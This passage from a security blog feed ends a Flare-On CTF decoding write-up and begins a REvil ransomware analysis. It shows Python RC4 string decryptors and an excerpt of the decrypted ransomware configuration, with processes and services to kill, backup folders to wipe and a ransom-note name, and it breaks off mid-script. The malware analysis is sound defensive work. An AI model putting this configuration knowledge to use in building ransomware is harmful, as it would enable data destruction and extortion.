Looking over this functionality, I started to write up some code to decode the flag. I grabbed a Base64 library that needed a small modification to use a custom character set. My fork of the code can be found at this repo.&lt;/p&gt;
&lt;p&gt;&lt;a href=&#34;https://github.com/suidroot/Python-Base64&#34;&gt;https://github.com/suidroot/Python-Base64&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;In the screenshot below, you can see my final script in a Jupyter notebook. As an aside, I have been using it for many challenges and other projects to test out decoder and other functionality. They have been instrumental in quick prototyping and experimentation.&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;../2021-03-02-flare-on-2-challenge-5-images/Screen-Shot-2021-02-02-at-18.58.41.png&#34; alt=&#34;&#34; /&gt;&lt;br /&gt;
Success there mostly is the flag. You can see there is some weirdness in the decoding of the flag, but this script decodes the main part of it needed in my mind to call it a solution.&lt;/p&gt;
&lt;h2 id=&#34;full-code&#34;&gt;Full Code&lt;/h2&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;b64encoded = &amp;#34;UDYs1D7bNmdE1o3g5ms1V6RrYCVvODJF1DqxKTxAJ9xuZW==&amp;#34;
b64_alphabet = &amp;#39;abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/&amp;#39;

b = b64()
b64decoded = b.decode(b64encoded, alttable=b64_alphabet)

for i in b64decoded:
    print (hex(ord(i)) + &amp;#34; &amp;#34;, end=&amp;#34;&amp;#34;)

print ()
count = 1

key = &amp;#34;flarebearstare&amp;#34;
key_len = len(key)

output = &amp;#34;&amp;#34;
counter = 0

for i in b64decoded:
    temp = ord(i) - ord(key[counter])
    
    print (chr(temp),end=&amp;#34;&amp;#34;)

    #print (i, hex(temp), key[counter], chr(temp))
    output += chr(temp)
    
    if counter+1 &amp;lt; key_len:
        counter+=1
    else:
        counter = 0
&lt;/code&gt;&lt;/pre&gt;</content:encoded>
        <dc:creator>suidroot</dc:creator>
        <media:content url="https://ben.the-collective.net/images/post-images/Flare-on-Template-2-5.png" medium="image"><media:title type="html">featured image</media:title></media:content>
        
        
        
          
            
              <category>ctf</category>
            
          
            
              <category>flare-on</category>
            
          
            
              <category>python</category>
            
          
            
              <category>reverse engineering</category>
            
          
            
              <category>wireshark</category>
            
          
        
        
          
            
              <category>Reverse Engineering</category>
            
          
        
        
      </item>
      
      <item>
        <title>Reversing Revil Malware – Part 2 - String Obfuscation and Configuration Setup</title>
        <link>https://ben.the-collective.net/posts/2021-02-24-reversing-revil-malware-part-2-the-configuration/</link>
        <pubDate>Wed, 24 Feb 2021 09:00:00 -0500</pubDate>
        <author>locutus@the-collective.net (Ben Mason)</author>
        <atom:modified>Wed, 24 Feb 2021 09:00:00 -0500</atom:modified>
        <guid>https://ben.the-collective.net/posts/2021-02-24-reversing-revil-malware-part-2-the-configuration/</guid>
        <description>This is the second in a series looking at part of the Revil malware. The first post covered a triage and unpacking of the first stage. The post will look at the high-level flow and look in-depth at the configuration embedded in the sample and some options.
Revil Process Diagram Looking at the flow diagram (shown above), there is a pretty straightforward flow to the sample. It initially sets itself up by resolving the import table, reading the embedded configuration data, and command-line arguments.</description>
        <content:encoded>&lt;p&gt;This is the second in a series looking at part of the Revil malware. &lt;a href=&#34;https://ben.the-collective.net/2021/02/17/reversing-revil-part-1-stage-1-unpacker/&#34;&gt;The first post covered a triage and unpacking of the first stage&lt;/a&gt;. The post will look at the high-level flow and look in-depth at the configuration embedded in the sample and some options.&lt;/p&gt;
&lt;p&gt;&lt;figure &gt;
  
  
  
    &lt;img data-src=&#34;https://ben.the-collective.net/posts/2021-02-24-reversing-revil-malware-part-2-the-configuration-images/ma.jpg&#34; alt=&#34;Revil Process Diagram&#34; data-caption=&#34;Revil Process Diagram&#34; src=&#34;data:image/svg+xml,%0A%3Csvg xmlns=&#39;http://www.w3.org/2000/svg&#39; width=&#39;&#39; height=&#39;300px&#39; viewBox=&#39;0 0 24 24&#39;%3E%3Cpath fill=&#39;none&#39; d=&#39;M0 0h24v24H0V0z&#39;/%3E%3Cpath fill=&#39;%23aaa&#39; d=&#39;M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2zm-1 16H6c-.55 0-1-.45-1-1V6c0-.55.45-1 1-1h12c.55 0 1 .45 1 1v12c0 .55-.45 1-1 1zm-4.44-6.19l-2.35 3.02-1.56-1.88c-.2-.25-.58-.24-.78.01l-1.74 2.23c-.26.33-.02.81.39.81h8.98c.41 0 .65-.47.4-.8l-2.55-3.39c-.19-.26-.59-.26-.79 0z&#39;/%3E%3C/svg%3E&#34; class=&#34;lazyload&#34; style=&#34;width:;height:300px;&#34;/&gt;
  

  
  
    &lt;figcaption style=&#34;text-align: &#34;&gt;
      
      Revil Process Diagram
      
        
        
      
    &lt;/figcaption&gt;
  
&lt;/figure&gt;Looking at the flow diagram (shown above), there is a pretty straightforward flow to the sample. It initially sets itself up by resolving the import table, reading the embedded configuration data, and command-line arguments. After the initial configuration is loaded and processed, the sample starts to execute the encryption and beaconing activities. Finally, it cleans up after itself clearing itself from memory, deleting itself from disk, and exiting. Now that we have an overview of this stage, we will look at how strings are obscured and how the configuration is loaded and processed.&lt;/p&gt;
&lt;h2 id=&#34;string-encryption&#34;&gt;String Encryption&lt;/h2&gt;
&lt;p&gt;When you run a string identification tool on this binary, you find there are not many readable strings. This sample obscures the vast majority of its strings. When analyzing it, you see many calls similar to this example.&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;../2021-02-24-reversing-revil-malware-part-2-the-configuration-images/Screen-Shot-2021-02-13-at-12.48.39.png&#34; alt=&#34;&#34; /&gt;&lt;br /&gt;
This function located at &lt;em&gt;0x0040575B&lt;/em&gt; uses RC4 to decrypt the strings from a data block located at either &lt;em&gt;0x0040F270&lt;/em&gt; or &lt;em&gt;004101B0&lt;/em&gt;. These blocks contain both the key and the encrypted data itself. The function is passed a pointer to the data block, offsets of the key and encrypted data, key size, and data size. It returns the clear string as the last parameter of the function call.&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;../2021-02-24-reversing-revil-malware-part-2-the-configuration-images/Screen-Shot-2021-02-13-at-12.47.34.png&#34; alt=&#34;&#34; /&gt;&lt;br /&gt;
In the function that I labeled “&lt;em&gt;mw_run_rc4_decrypt&lt;/em&gt;” (&lt;em&gt;0x0040646A&lt;/em&gt;), you find a fairly standard RC4 decryption set of routines. I have recreated this functionally in python, which I used heavily when analyzing this sample to label the string variables.&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;div class=&#34;chroma&#34;&gt;
&lt;table class=&#34;lntable&#34;&gt;&lt;tr&gt;&lt;td class=&#34;lntd&#34;&gt;
&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code&gt;&lt;span class=&#34;lnt&#34;&gt; 1
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt; 2
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt; 3
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt; 4
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt; 5
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt; 6
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt; 7
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt; 8
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt; 9
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;10
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;11
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;12
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;13
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;14
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;15
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;16
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;17
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;18
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;19
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;20
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;21
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;22
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;23
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;24
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;25
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;26
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;27
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class=&#34;lntd&#34;&gt;
&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;err&#34;&gt;!&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;pip3&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;install&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;arc4&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;kn&#34;&gt;from&lt;/span&gt; &lt;span class=&#34;nn&#34;&gt;arc4&lt;/span&gt; &lt;span class=&#34;kn&#34;&gt;import&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;ARC4&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;kn&#34;&gt;import&lt;/span&gt; &lt;span class=&#34;nn&#34;&gt;pefile&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;kn&#34;&gt;import&lt;/span&gt; &lt;span class=&#34;nn&#34;&gt;binascii&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;n&#34;&gt;secondstage&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;s2&#34;&gt;&amp;#34;file1.bin&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;n&#34;&gt;pe&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;pefile&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;PE&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;secondstage&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;n&#34;&gt;section_offest&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;mh&#34;&gt;0xf000&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;k&#34;&gt;for&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;section&lt;/span&gt; &lt;span class=&#34;ow&#34;&gt;in&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;pe&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;sections&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;k&#34;&gt;if&lt;/span&gt; &lt;span class=&#34;sa&#34;&gt;b&lt;/span&gt;&lt;span class=&#34;s2&#34;&gt;&amp;#34;.data&amp;#34;&lt;/span&gt; &lt;span class=&#34;ow&#34;&gt;in&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;section&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;Name&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;n&#34;&gt;hex_data_1&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;section&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;get_data&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;()[(&lt;/span&gt;&lt;span class=&#34;mh&#34;&gt;0x101b0&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;-&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;section_offest&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;):]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;n&#34;&gt;hex_data_2&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;section&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;get_data&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;()[(&lt;/span&gt;&lt;span class=&#34;mh&#34;&gt;0xf270&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;-&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;section_offest&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;):(&lt;/span&gt;&lt;span class=&#34;mh&#34;&gt;0xf17&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;k&#34;&gt;def&lt;/span&gt; &lt;span class=&#34;nf&#34;&gt;decrypt&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;data&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;position&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;keylen&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;datasize&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;):&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;        
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;n&#34;&gt;key&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;data&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;[&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;position&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;:&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;position&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;+&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;keylen&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;n&#34;&gt;cipher&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;ARC4&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;key&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;n&#34;&gt;rc4_data&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;cipher&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;decrypt&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;data&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;[&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;position&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;+&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;keylen&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;:&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;position&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;+&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;keylen&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;+&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;datasize&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;])&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;c1&#34;&gt;# Convert to string&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;n&#34;&gt;string_data&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;s2&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;k&#34;&gt;for&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;byte&lt;/span&gt; &lt;span class=&#34;ow&#34;&gt;in&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;rc4_data&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;n&#34;&gt;string_data&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;+=&lt;/span&gt; &lt;span class=&#34;nb&#34;&gt;chr&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;byte&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;k&#34;&gt;return&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;string_data&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;h2 id=&#34;revil-configuration&#34;&gt;Revil Configuration&lt;/h2&gt;
&lt;p&gt;The encrypted configuration is stored in the .7tdlvx section of the binary. The data is RC4 encrypted like string data was. It also includes some tamper protection; there is a CRC32 value stored with the data. Below is the structure of the configuration section. I have labeled the data segments with numbers.&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Decryption Key&lt;/li&gt;
&lt;li&gt;crc32 Checksum&lt;/li&gt;
&lt;li&gt;Configuration Size&lt;/li&gt;
&lt;li&gt;Start of Encrypted configuration&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;img src=&#34;../2021-02-24-reversing-revil-malware-part-2-the-configuration-images/CONFIG_DATA.jpg&#34; alt=&#34;&#34; /&gt;The function shown in the image below is used to decrypt the data from the 7tdlvx section. When executed, the CRC32 value of the data is checked, and if it matches, the function is called to run the RC4 decryption. Pointers to the key, key length, address of the encrypted data, and size of the encrypted data are passed into the function to decrypt the data.&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;../2021-02-24-reversing-revil-malware-part-2-the-configuration-images/Screen-Shot-2021-02-13-at-17.04.58.png&#34; alt=&#34;&#34; /&gt;After the RC4 decryption, it returns a block of JSON data to a variable for further processing. Below is an abbreviated version of the configuration for readability. I put a full copy of it at the end of this post.&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;{&amp;#39;arn&amp;#39;: False,
 &amp;#39;dbg&amp;#39;: False,
 &amp;#39;dmn&amp;#39;: &amp;#39;&amp;#39;,
 &amp;#39;et&amp;#39;: 0,
 &amp;#39;exp&amp;#39;: False,
 &amp;#39;img&amp;#39;: &amp;#39;QQBsAGwAIABvAGYAIAB5AG8AdQByACAAZgBpAGwAZQBzACAAYQByAGUAIABlAG... AHMAdAB1AGMAdABpAG8AbgBzAAAA&amp;#39;,
 &amp;#39;nbody&amp;#39;: &amp;#39;LQAtAC0APQA9AD0AIABXAGUAbABjAG8AbQBlAC4AIABBAGcAYQBpAG4ALgAgAD ... ACEAIAAhACEAIQAgACEAIQAAAA==&amp;#39;,
 &amp;#39;net&amp;#39;: False,
 &amp;#39;nname&amp;#39;: &amp;#39;{EXT}-README.txt&amp;#39;,
 &amp;#39;pid&amp;#39;: &amp;#39;$2b$13$wz1reRfdLg.aiStLDqg5JeqqySemSPatWKHdwbpWVrC3ty7Akscg6&amp;#39;,
 &amp;#39;pk&amp;#39;: &amp;#39;SrxAOJ8RkDIIb7jurGu3kJGcui9QRzgmLyRe3dUxNSI=&amp;#39;,
 &amp;#39;prc&amp;#39;: [&amp;#39;vsnapvss&amp;#39;,
         &amp;#39;EnterpriseClient&amp;#39;,
         &amp;#39;firefox&amp;#39;,
         ..
         &amp;#39;excel&amp;#39;,
         &amp;#39;msaccess&amp;#39;,
         &amp;#39;agntsvc&amp;#39;],
 &amp;#39;spsize&amp;#39;: 1,
 &amp;#39;sub&amp;#39;: &amp;#39;58&amp;#39;,
 &amp;#39;svc&amp;#39;: [&amp;#39;QBCFMonitorService&amp;#39;,
         ..
         &amp;#39;saphostexec&amp;#39;],
 &amp;#39;wfld&amp;#39;: [&amp;#39;backup&amp;#39;, &amp;#39;bkp&amp;#39;, &amp;#39;archive&amp;#39;],
 &amp;#39;wht&amp;#39;: {&amp;#39;ext&amp;#39;: [&amp;#39;dll&amp;#39;,
                 ..
                 &amp;#39;cur&amp;#39;],
         &amp;#39;fld&amp;#39;: [&amp;#39;program files&amp;#39;,
                 ..
                 &amp;#39;$recycle.bin&amp;#39;],
         &amp;#39;fls&amp;#39;: [&amp;#39;ntuser.ini&amp;#39;,
                 ..
                 &amp;#39;thumbs.db&amp;#39;]},
 &amp;#39;wipe&amp;#39;: True}
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;To assist in processing and analysis of the configuration I created the following python script to extract and parse the configuration file from the sample.&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;div class=&#34;chroma&#34;&gt;
&lt;table class=&#34;lntable&#34;&gt;&lt;tr&gt;&lt;td class=&#34;lntd&#34;&gt;
&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code&gt;&lt;span class=&#34;lnt&#34;&gt; 1
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt; 2
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt; 3
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt; 4
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt; 5
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt; 6
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt; 7
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt; 8
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt; 9
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;10
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;11
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;12
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;13
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;14
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;15
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;16
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;17
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;18
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;19
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;20
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;21
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;22
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;23
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;24
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;25
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;26
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;27
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;28
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;29
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;30
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;31
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;32
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;33
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;34
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;35
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;36
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;37
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;38
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;39
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;40
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class=&#34;lntd&#34;&gt;
&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;err&#34;&gt;!&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;pip3&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;install&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;arc4&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;kn&#34;&gt;from&lt;/span&gt; &lt;span class=&#34;nn&#34;&gt;arc4&lt;/span&gt; &lt;span class=&#34;kn&#34;&gt;import&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;ARC4&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;kn&#34;&gt;import&lt;/span&gt; &lt;span class=&#34;nn&#34;&gt;pefile&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;kn&#34;&gt;import&lt;/span&gt; &lt;span class=&#34;nn&#34;&gt;binascii&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;kn&#34;&gt;import&lt;/span&gt; &lt;span class=&#34;nn&#34;&gt;json&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;kn&#34;&gt;import&lt;/span&gt; &lt;span class=&#34;nn&#34;&gt;pprint&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;as&lt;/span&gt; &lt;span class=&#34;nn&#34;&gt;pp&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;
